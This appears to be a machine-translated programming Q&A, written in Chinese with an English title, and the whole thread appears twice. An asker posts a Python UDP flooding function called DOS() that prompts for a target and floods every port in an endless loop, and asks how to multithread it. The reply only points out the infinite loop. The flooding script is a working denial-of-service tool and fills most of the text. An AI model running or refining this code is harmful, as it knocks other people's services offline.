为什么这么多数据包显示为已发送? Python
Why do so many packets get displayed as sent? Python
嘿嘿,怎么发了那么多包,却什么也得不到呢?我知道端口扫描器是不必要的,但我需要它以便将来开发该工具。我希望 for 循环同时 运行 但我找不到多线程的方法。
def DOS():
try:
ask = raw_input("[+] Do you know the open ports you are trying to attack(YES/NO) : ")
if ask.upper() == "NO":
#opens port scanner
print ("[+] Loading port scanner for you : ")
time.sleep(1)
PORT_SCANNER()
elif ask.upper() == "YES":
HOST = raw_input("[+] Enter address : ")
PORT = int(raw_input("[+] Enter port, use port scanner to find open ports : "))
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#confirmation
#I am not liable for any action as a result this program
sure = raw_input("[+] ARE YOU SURE?, THIS COULD BE ILLEGAL(YES/NO : ")
if sure.upper() == "YES":
sent = 0
while 1 == 1:
for x in range(1,65500):
s.sendto(DOS_TEXT, (HOST, x))
s.sendto(packet, (HOST, PORT))
s.sendto(VBN, (HOST, x))
sent = sent + 3
for no in range(1,1025):
s.sendto(Thi_s, (HOST, x))
sent = sent + 1
for xn in range(20000,40000):
s.sendto(THIS, (HOST, x))
sent = sent + 1
你有一个无限循环:
...
while 1 == 1: # Here is the problem
for x in range(1,65500):
s.sendto(DOS_TEXT, (HOST, x))
s.sendto(packet, (HOST, PORT))
s.sendto(VBN, (HOST, x))
sent = sent + 3
for no in range(1,1025):
s.sendto(Thi_s, (HOST, x))
sent = sent + 1
for xn in range(20000,40000):
s.sendto(THIS, (HOST, x))
sent = sent + 1
如果可能就删除这一行,或者在循环结构中添加一个break
。
嘿嘿,怎么发了那么多包,却什么也得不到呢?我知道端口扫描器是不必要的,但我需要它以便将来开发该工具。我希望 for 循环同时 运行 但我找不到多线程的方法。
def DOS():
try:
ask = raw_input("[+] Do you know the open ports you are trying to attack(YES/NO) : ")
if ask.upper() == "NO":
#opens port scanner
print ("[+] Loading port scanner for you : ")
time.sleep(1)
PORT_SCANNER()
elif ask.upper() == "YES":
HOST = raw_input("[+] Enter address : ")
PORT = int(raw_input("[+] Enter port, use port scanner to find open ports : "))
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#confirmation
#I am not liable for any action as a result this program
sure = raw_input("[+] ARE YOU SURE?, THIS COULD BE ILLEGAL(YES/NO : ")
if sure.upper() == "YES":
sent = 0
while 1 == 1:
for x in range(1,65500):
s.sendto(DOS_TEXT, (HOST, x))
s.sendto(packet, (HOST, PORT))
s.sendto(VBN, (HOST, x))
sent = sent + 3
for no in range(1,1025):
s.sendto(Thi_s, (HOST, x))
sent = sent + 1
for xn in range(20000,40000):
s.sendto(THIS, (HOST, x))
sent = sent + 1
你有一个无限循环:
...
while 1 == 1: # Here is the problem
for x in range(1,65500):
s.sendto(DOS_TEXT, (HOST, x))
s.sendto(packet, (HOST, PORT))
s.sendto(VBN, (HOST, x))
sent = sent + 3
for no in range(1,1025):
s.sendto(Thi_s, (HOST, x))
sent = sent + 1
for xn in range(20000,40000):
s.sendto(THIS, (HOST, x))
sent = sent + 1
如果可能就删除这一行,或者在循环结构中添加一个break
。